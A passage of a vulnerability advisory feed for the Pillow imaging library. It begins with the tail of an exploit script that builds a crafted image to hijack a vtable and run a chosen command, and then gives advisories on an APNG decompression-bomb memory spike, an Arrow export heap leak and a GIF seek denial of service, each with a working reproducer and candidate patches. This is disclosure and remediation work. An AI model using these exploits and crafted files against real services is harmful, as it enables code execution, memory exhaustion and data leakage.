          (OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")]      # obj+0 -> rdi for system()
    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -> spray B at +0xa0..+8
    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
    jpg, it, bad = craft(tg)
    build_fpx(jpg, a.out)
    print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
          % (a.out, S, a.target, a.cmd, it, bad))
    print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd))

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: APNG background disposal allocates full canvas before decompression bomb check

BIT-pillow-2026-112399 / CVE-2026-112399 / GHSA-5xm2-6676-qcp9

More information

Details

============================================================================
APNG background disposal allocates full canvas before decompression bomb check
Location: src/PIL/PngImagePlugin.py:1000  in PngImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A 126-byte animated PNG file makes Pillow's Image.open() allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as load(), can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.

The bug is in PngImageFile._seek() in src/PIL/PngImagePlugin.py (around line 1000). For any APNG, _open() calls self._seek(0). When the first fcTL chunk requests OP_BACKGROUND disposal, _seek() calls Image.core.fill(self.mode, self.size) with the full IHDR size, which allocates and zero-fills width×height×4 bytes. OP_PREVIOUS takes the same path, because frame 0 rewrites it to OP_BACKGROUND. This all happens inside the plugin factory, so Image.open()'s _decompression_bomb_check(im.size) only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.

Below available memory, the allocation is freed when DecompressionBombError propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (dispose_op 0 vs 1). Both end in DecompressionBombError, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.

Details

For an APNG whose first fcTL chunk requests OP_BACKGROUND disposal, PngImageFile._open() creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before Image.open() gets to _decompression_bomb_check(im.size), so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.

The following 126-byte file (all chunk lengths and CRCs valid) makes Image.open(io.BytesIO(data)), with default MAX_IMAGE_PIXELS and no load(), reach 1.86 GB resident (ru_maxrss) and then raise DecompressionBombError. The byte-identical file with dispose_op=0 raises the same error at 17 MB.

IHDR  width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)
acTL  num_frames=2 num_plays=0
fcTL  seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0
IDAT  zlib(00 00 00 00 00)                      # one 1x1 RGBA scanline
IEND

With width=height=45000 (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB RLIMIT_AS it fails with MemoryError from the allocator instead of DecompressionBombError; without a cap, on an 8 GB host with no swap, the process is OOM-killed.

Code path

Image.open() runs the bomb check only after the plugin's constructor (and therefore _open()) has returned:


##### src/PIL/Image.py:3699-3701
                    im = factory(fp, filename)
                    _decompression_bomb_check(im.size)
                    return im

For a plain PNG that ordering is fine: PngImageFile._open() only parses chunks up to the first IDAT and records self._size from IHDR; nothing is allocated from it. For an APNG (acTL seen, so im_n_frames is set) _open() additionally positions on frame 0:


##### src/PIL/PngImagePlugin.py:845-853
        if self.png.im_n_frames is not None:
            …
            self._seek(0)

_seek(0) copies disposal and bbox from the fcTL chunk into self.dispose_op / self.dispose_extent and then prepares the disposal image for the next frame eagerly, using the full image size:


##### src/PIL/PngImagePlugin.py:991-1001
        if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
            self.dispose_op = Disposal.OP_BACKGROUND

        self.dispose = None
        if self.dispose_op == Disposal.OP_PREVIOUS:
            …
        elif self.dispose_op == Disposal.OP_BACKGROUND:
            self.dispose = Image.core.fill(self.mode, self.size)
            self.dispose = self._crop(self.dispose, self.dispose_extent)

Image.core.fill is _fill() in src/_imaging.c:711, which does ImagingNewDirty(mode, xsize, ysize) followed by ImagingFill(); ImagingFill (src/libImaging/Fill.c:23) writes every row, so the whole width*height*4 bytes become resident rather than merely reserved. self.size here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The _crop on the next line does call _decompression_bomb_check, but on the fcTL rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite OP_PREVIOUS to OP_BACKGROUND on frame 0, so dispose_op=2 takes the same path (verified: identical 1.86 GB peak). When the first fcTL rectangle is large, the _crop copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame fcTL (below the error threshold, so Image.open() succeeds with only a DecompressionBombWarning) peaks at 1.31 GB for a 0.66 GB canvas.

The only validation chunk_fcTL applies (src/PIL/PngImagePlugin.py:740-745) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to _open_core, _decompression_bomb_check((22000, 22000)) raises, and the 1.9 GB core image is released when the half-constructed PngImageFile is discarded.

The eager full-size fill in _seek() was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", 2020-12-24) and first shipped in 8.1.0; before it, the OP_BACKGROUND fill lived in load_end() and could not be reached from Image.open().

Impact

Any application that calls Image.open() on untrusted bytes with default settings — the configuration in which the decompression-bomb check is supposed to make that call cheap and safe — can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without load(), frame iteration, or LOAD_TRUNCATED_IMAGES. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (≈15,000,000× amplification at 22000×22000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes _accept and chunk CRC checks as a well-formed APNG.

This is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile — an allocation sized from file-declared numbers on a path _decompression_bomb_check does not cover — but here the uncovered path is Image.open() itself rather than a later load()/seek().

Reproducing

repro is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain Image.open(io.BytesIO(data)) in a fresh child interpreter using default settings and no load(), and has each child report the exception it got and its own peak RSS (ru_maxrss). It needs about 2 GB of free RAM and finishes in about a second.

The two files are 126 bytes each and differ in exactly one byte, the dispose_op of the first fcTL chunk: 0 (OP_NONE) for the control and 1 (OP_BACKGROUND) for the attack. Both declare IHDR 22000×22000 RGBA. That is 484 Mpixel, above the 2×MAX_IMAGE_PIXELS error threshold, so Image.open() has to reject both with DecompressionBombError. Each chunk has a job:

  • The acTL chunk (2 frames) makes _open() call _seek(0).
  • The 1×1 fcTL rectangle passes chunk_fcTL's bounds check and _crop's bomb check.
  • The one-scanline IDAT ends header parsing.

Expected output on this tree:

126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults
  control  dispose_op=0 OP_NONE        -> DecompressionBombError peak RSS    17 MB
  attack   dispose_op=1 OP_BACKGROUND  -> DecompressionBombError peak RSS  1864 MB
Image.open() touched a full 22000x22000 canvas before the bomb check ran
BUG

Both files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after Image.core.fill("RGBA", (22000, 22000)) has allocated and zero-filled about 1.9 GB. The script prints BUG if the attack child's peak RSS is at least 1000 MB and at least 20× the control's, or if the attack child is killed by SIGKILL (for example by the OOM killer on a small host). Otherwise it prints OK; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in OK. With either attached patch applied, both children report about 17–22 MB and the script prints OK.

The allocation grows with the header, so it can be scaled by changing SIZE in the script. The 45000×45000 case (an 8.1 GB canvas) is covered in Details and is not part of the script.

Suggested fix

Do not build the OP_BACKGROUND disposal image from the declared size during _open(). Two alternative patches are attached; both change only src/PIL/PngImagePlugin.py, and both add the same regression test to Tests/test_file_apng.py (a 2³¹−1 × 1 APNG built in memory with a 1×1 OP_BACKGROUND first frame must make Image.open() raise DecompressionBombError; on the current tree the fill fails first with MemoryError). Attached patch 1 is the preferred fix.

Attached patch 1 moves the fill to its only point of use, the frame > 0 branch of _seek() right after self.load() — which can only run once Image.open() has returned (bomb check passed) and the canvas itself has been allocated — and, as GifImagePlugin already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped:

--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):
             # ensure previous frame was loaded
             self.load()
 
+            if self.dispose_op == Disposal.OP_BACKGROUND:
+                # Created here rather than in the previous _seek(), so that
+                # nothing is allocated from the declared image size before
+                # the decompression bomb check in Image.open() has run.
+                # Only dispose the extent of the previous frame.
+                x0, y0, x1, y1 = self.dispose_extent
+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))
             if self.dispose:
                 self.im.paste(self.dispose, self.dispose_extent)
             self._prev_im = self.im.copy()
@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):
             if self._prev_im:
                 self.dispose = self._prev_im.copy()
                 self.dispose = self._crop(self.dispose, self.dispose_extent)
-        elif self.dispose_op == Disposal.OP_BACKGROUND:
-            self.dispose = Image.core.fill(self.mode, self.size)
-            self.dispose = self._crop(self.dispose, self.dispose_extent)

At that point self.dispose_op and self.dispose_extent still hold the previous frame's values (they are reassigned further down in _seek), so disposal semantics are unchanged; the OP_PREVIOUS copy stays eager because load_end() pastes into _prev_im in place (src/PIL/PngImagePlugin.py:1110). With this patch Image.open() allocates nothing from the declared size, including in the DecompressionBombWarning range.

Attached patch 2 is a smaller diff that keeps the eager disposal setup in _seek() and mirrors GifImagePlugin._seek()'s OP_BACKGROUND handling exactly: it computes the size of the fcTL rectangle (already validated by chunk_fcTL to lie within the image), runs Image._decompression_bomb_check() on it, and fills an image of only that size instead of filling self.size and cropping. It also narrows the dispose_extent annotation to tuple[int, int, int, int] so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside Image.open() — up to about 2×MAX_IMAGE_PIXELS×4 bytes (660 MB for a 13000×13000 full-frame fcTL, with DecompressionBombWarning) — and a first fcTL covering a canvas above the error threshold now raises DecompressionBombError from _seek(0) rather than from Image.open()'s own check.

With either patch applied to a clean checkout, the reproducer prints OK and all 54 files in Tests/images/apng/ decode byte-identically frame by frame, including after a rewind.

The patch (1 of 2)

Create the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size

Applies to src/PIL/PngImagePlugin.py at the commit above.

diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py
index 15689476c..6e61c8b4b 100644
--- a/Tests/test_file_apng.py
+++ b/Tests/test_file_apng.py
@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:
         assert im.size == (128, 64)
 
 
+def test_apng_dispose_op_background_decompression_bomb() -> None:
+    # The disposal image must not be created from the declared image size
+    # before the decompression bomb check in Image.open() has run.
+    # A canvas this wide cannot be allocated, so if it is attempted,
+    # a MemoryError is raised instead of a DecompressionBombError.
+    o16 = PngImagePlugin.o16
+    o32 = PngImagePlugin.o32
+
+    b = BytesIO()
+    b.write(PngImagePlugin._MAGIC)
+    PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00")
+    PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0))
+    PngImagePlugin.putchunk(
+        b,
+        b"fcTL",
+        o32(0),  # sequence number
+        o32(1),  # width
+        o32(1),  # height
+        o32(0),  # x offset
+        o32(0),  # y offset
+        o16(1),  # delay numerator
+        o16(10),  # delay denominator
+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),
+    )
+    PngImagePlugin.putchunk(b, b"IDAT")
+    PngImagePlugin.putchunk(b, b"IEND")
+
+    with pytest.raises(Image.DecompressionBombError):
+        Image.open(b)
+
+
 def test_apng_blend() -> None:
     with Image.open("Tests/images/apng/blend_op_source_solid.png") as im:
         assert isinstance(im, PngImagePlugin.PngImageFile)
diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py
index 0eb2fd5e4..24fa587c1 100644
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):
             # ensure previous frame was loaded
             self.load()
 
+            if self.dispose_op == Disposal.OP_BACKGROUND:
+                # Created here rather than in the previous _seek(), so that
+                # nothing is allocated from the declared image size before
+                # the decompression bomb check in Image.open() has run.
+                # Only dispose the extent of the previous frame.
+                x0, y0, x1, y1 = self.dispose_extent
+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))
             if self.dispose:
                 self.im.paste(self.dispose, self.dispose_extent)
             self._prev_im = self.im.copy()
@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):
             if self._prev_im:
                 self.dispose = self._prev_im.copy()
                 self.dispose = self._crop(self.dispose, self.dispose_extent)
-        elif self.dispose_op == Disposal.OP_BACKGROUND:
-            self.dispose = Image.core.fill(self.mode, self.size)
-            self.dispose = self._crop(self.dispose, self.dispose_extent)
 
     def tell(self) -> int:
         return self.__frame
The patch (2 of 2)

Bomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek()

Applies to src/PIL/PngImagePlugin.py at the commit above.

diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py
index 15689476c..6e61c8b4b 100644
--- a/Tests/test_file_apng.py
+++ b/Tests/test_file_apng.py
@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:
         assert im.size == (128, 64)
 
 
+def test_apng_dispose_op_background_decompression_bomb() -> None:
+    # The disposal image must not be created from the declared image size
+    # before the decompression bomb check in Image.open() has run.
+    # A canvas this wide cannot be allocated, so if it is attempted,
+    # a MemoryError is raised instead of a DecompressionBombError.
+    o16 = PngImagePlugin.o16
+    o32 = PngImagePlugin.o32
+
+    b = BytesIO()
+    b.write(PngImagePlugin._MAGIC)
+    PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00")
+    PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0))
+    PngImagePlugin.putchunk(
+        b,
+        b"fcTL",
+        o32(0),  # sequence number
+        o32(1),  # width
+        o32(1),  # height
+        o32(0),  # x offset
+        o32(0),  # y offset
+        o16(1),  # delay numerator
+        o16(10),  # delay denominator
+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),
+    )
+    PngImagePlugin.putchunk(b, b"IDAT")
+    PngImagePlugin.putchunk(b, b"IEND")
+
+    with pytest.raises(Image.DecompressionBombError):
+        Image.open(b)
+
+
 def test_apng_blend() -> None:
     with Image.open("Tests/images/apng/blend_op_source_solid.png") as im:
         assert isinstance(im, PngImagePlugin.PngImageFile)
diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py
index 0eb2fd5e4..0111a17d7 100644
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile):
                 msg = "image not found in APNG frame"
                 raise EOFError(msg)
         if dispose_extent:
-            self.dispose_extent: tuple[float, float, float, float] = dispose_extent
+            self.dispose_extent: tuple[int, int, int, int] = dispose_extent
 
         # setup frame disposal (actual disposal done when needed in the next _seek())
         if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
@@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile):
                 self.dispose = self._prev_im.copy()
                 self.dispose = self._crop(self.dispose, self.dispose_extent)
         elif self.dispose_op == Disposal.OP_BACKGROUND:
-            self.dispose = Image.core.fill(self.mode, self.size)
-            self.dispose = self._crop(self.dispose, self.dispose_extent)
+            # only dispose the extent in this frame, rather than filling an
+            # image of the declared size before Image.open() has been able to
+            # run the decompression bomb check
+            x0, y0, x1, y1 = self.dispose_extent
+            dispose_size = (x1 - x0, y1 - y0)
+
+            Image._decompression_bomb_check(dispose_size)
+            self.dispose = Image.core.fill(self.mode, dispose_size)
 
     def tell(self) -> int:
         return self.__frame
The reproducer
Reproducer — repro, 3,564 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
"""
Image.open() on a 126-byte APNG allocates and zero-fills a full canvas of the
header-declared size *before* Pillow's decompression-bomb check rejects it.

We build two PNGs that are identical except for one byte, the first fcTL
chunk's dispose_op:

    control: dispose_op = 0  (OP_NONE)
    attack:  dispose_op = 1  (OP_BACKGROUND)

Both declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS
error threshold), so Image.open() must reject both with DecompressionBombError
-- and that check exists precisely so the rejection is cheap. For the attack
file, PngImageFile._open() -> _seek(0) first runs
Image.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the
bomb check reached.

Each file is opened in a fresh interpreter that reports its own peak RSS.
"""
import struct
import subprocess
import sys
import zlib

SIZE = 22000  # 22000 * 22000 * 4 bytes = 1.94 GB canvas

def chunk(cid, data):
    crc = zlib.crc32(cid + data)
    return struct.pack(">I", len(data)) + cid + data + struct.pack(">I", crc)

def build_apng(dispose_op):
    ihdr = struct.pack(">IIBBBBB", SIZE, SIZE, 8, 6, 0, 0, 0)  # 8-bit RGBA
    actl = struct.pack(">II", 2, 0)  # animated: 2 frames -> _open() calls _seek(0)
    # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check),
    # delay 1/10 s, the dispose_op under test, blend_op 0
    fctl = struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0)
    idat = zlib.compress(b"\x00" + b"\x00\x00\x00\x00")  # one 1x1 RGBA scanline
    return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"acTL", actl)
            + chunk(b"fcTL", fctl) + chunk(b"IDAT", idat) + chunk(b"IEND", b""))

##### What an application does with an untrusted upload: Image.open() with default

##### settings, no load(). Prints the outcome and this process's peak RSS in MB.
OPEN_UNTRUSTED = """
import io, resource, sys
from PIL import Image
try:
    Image.open(io.BytesIO(sys.stdin.buffer.read()))
    outcome = "opened"
except Exception as e:
    outcome = type(e).__name__
print(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024)
"""

def open_in_child(data):
    p = subprocess.run([sys.executable, "-c", OPEN_UNTRUSTED], input=data,
                       capture_output=True, timeout=60)
    if p.returncode == -9:  # SIGKILL: OOM-killed on a small host -- also the bug
        return "oom-killed(rc=-9)", None
    if p.returncode != 0:  # anything else is a harness failure, not evidence
        print(p.stdout.decode(), p.stderr.decode(), sep="\n")
        print("child failed unexpectedly (rc=%d)" % p.returncode)
        print("OK")
        sys.exit(1)
    outcome, peak_mb = p.stdout.split()
    return outcome.decode(), int(peak_mb)

control = build_apng(dispose_op=0)
attack = build_apng(dispose_op=1)

c_outcome, c_mb = open_in_child(control)
a_outcome, a_mb = open_in_child(attack)

print("%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults"
      % (len(attack), SIZE, SIZE))
print("  control  dispose_op=0 OP_NONE        -> %-22s peak RSS %5s MB" % (c_outcome, c_mb))
print("  attack   dispose_op=1 OP_BACKGROUND  -> %-22s peak RSS %5s MB" % (a_outcome, a_mb))

##### Expected: both rejected at roughly interpreter size. Bug: the attack file

##### made the "cheap" rejection cost a full-size canvas (or killed the process).
if a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb):
    print("Image.open() touched a full %dx%d canvas before the bomb check ran"
          % (SIZE, SIZE))
    print("BUG")
else:
    print("OK")

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1

BIT-pillow-2026-114501 / CVE-2026-114501 / GHSA-654x-cwwv-5j9c / PYSEC-2026-4336

More information

Details

Summary

When PILLOW_ALIGNMENT is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier.

Details

With an alignment above 1, the default allocator pads each row up to aligned_linesize and starts the first row at an aligned offset into the block. It then exports im->blocks[0].ptr as xsize * ysize tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.

Tested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5.

PoC

Whether things leak may depend on allocator configuration. This does show a leak on my Mac.

import os

os.environ["PILLOW_ALIGNMENT"] = "64"

from PIL import Image

##### Image A: 64 px wide, so its rows fill the whole aligned stride
a = Image.new("L", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT)
del a

##### Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0
b = Image.new("L", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT)

try:
    exported = Image.fromarrow(b, b.mode, b.size).tobytes()
except ValueError as e:
    print("Not vulnerable:", e)
else:
    if leaked := len(exported) - exported.count(0):
        raise RuntimeError(f"{leaked} of {len(exported)} exported bytes are not B's pixels")
Impact

Information disclosure for applications that set PILLOW_ALIGNMENT and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS

BIT-pillow-2026-112400 / CVE-2026-112400 / GHSA-65qm-jvmh-6pqg

More information

Details

============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.

The bug is in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self._size and only then calls Image._decompression_bomb_check(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.

In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches load_prepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.

The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and n_frames/is_animated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.

Details

GifImageFile._seek() lets a later frame enlarge the image, and performs the
decompression-bomb check for the new size only after storing it on the object:


##### src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated
    Image._decompression_bomb_check(self._size)                 # ...then validated

_decompression_bomb_check() (src/PIL/Image.py:3586) raises
DecompressionBombError for anything above 2 * MAX_IMAGE_PIXELS
(178 956 970 px by default), but by then self._size already holds the rejected
value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls
back on EOFError, and _seek(0) only ever grows _size. The object that the
application still holds therefore reports im.size == (40000, 40000) while
im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a
few lines further down in the same function (GifImagePlugin.py:383 and :407),
which call _decompression_bomb_check(dispose_size) before the corresponding
Image.core.fill(), and TiffImagePlugin.load_prepare()
(src/PIL/TiffImagePlugin.py:1319-1321), which checks _tile_size before
allocating from it.

With this 60-byte GIF (hex)

47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00               another 1x1 frame
3b                                              trailer

Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises
DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000),
im.im.size == (1, 1), im.tell() == 0.

What happens next depends on what the application does with the object, but
several ordinary operations take their dimensions from im.size rather than
from the C buffer:

  • Retrying im.seek(1). The failed _seek left self.__offset == 0 and the
    file pointer just past the 9-byte descriptor, so the retry parses whatever
    follows — in the file above, a valid 1×1 frame — and succeeds. im.load()
    then runs GifImageFile.load_prepare():
    # src/PIL/GifImagePlugin.py:452-456
    elif self.mode in ("RGB", "RGBA"):
        self._prev_im = self.im
        if self._frame_palette:
            self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)
    
    which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a
    1×1 tile into, and load_end() (GifImagePlugin.py:485-491) fills a second
    one and converts it to RGB (another 1.6 GB + 6.4 GB).
  • im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the
    common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate
    from im.size as well (measured on an object poisoned to 20000×20000:
    rotate(45, expand=True) completes and touches 776 MiB;
    Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass
    im.size as a box against the real buffer (thumbnail, resize, save)
    fail with ValueError/SystemError instead.

The extent fields are 16-bit offset plus 16-bit size, so the stored size can be
pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA"
storage), 96× the error threshold.

n_frames / is_animated are not affected: they call
_seek(frame, update_image=False), which skips the _size assignment (the file
above reports n_frames == 2, is_animated == True and leaves im.size at
1×1).

Impact

A remote user who can upload a GIF to a service that (a) seeks animation frames
and (b) catches the exception from seek() — a broad except Exception around
a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit
except DecompressionBombError: log and continue — and then keeps using the
same Image object, ends up driving allocations of 1.6 GB to tens of GB from a
60-byte file: MemoryError after the process has committed gigabytes, or an
OOM kill of the worker when no address-space limit is set. The
MAX_IMAGE_PIXELS guard fires, but does not actually keep the rejected
dimensions out of the object it is guarding.

The precondition is real application behaviour but not the default path:
Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates
the error out of the for statement (a try inside the loop body does not
swallow it). Hence low severity. This is adjacent to the GIF extent bomb check
added for CVE-2022-45198: the ordering was introduced with that check in
c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first
released in Pillow 9.2.0. Before it, the same size growth happened with no
check at all; the check introduced there is the one that runs too late.

Reproducing

repro is a single Python script run against the installed Pillow. It needs
about 1.7 GB of free RAM.

  1. setup_env() caps the process address space at 3 GiB with
    RLIMIT_AS, so the oversized allocations end in MemoryError instead of
    the OOM killer. It then opens the 60-byte GIF shown above, built in memory
    by bomb_gif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so
    Image.open() passes its own bomb check. Next comes a bare frame-1 image
    descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error
    threshold). A real 1×1 frame follows it.
  2. poc() calls im.seek(1) and catches DecompressionBombError, the way
    an application that skips bad frames would.
  3. First check: the state is inconsistent. The script prints im.size next
    to the real pixel buffer im.im.size. If the rejected frame had left the
    object unchanged, both would be (1, 1). On the affected code im.size is
    (40000, 40000).
  4. Second check: memory use. The script retries im.seek(1), which now
    parses the trailing 1×1 frame, and calls im.load(). It prints the
    process's peak RSS before and after. load_prepare() sizes its
    Image.core.fill() from im.size, so loading a single pixel fills a
    1.6 GB buffer before the 3 GiB cap stops the next allocation.

Expected output on the affected tree:

open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG

The script prints BUG only if both checks hold: the over-limit size stayed
on the object after the exception, and peak RSS grew by more than 1000 MiB
while loading a 1×1 frame. Otherwise it prints OK. With the attached patch
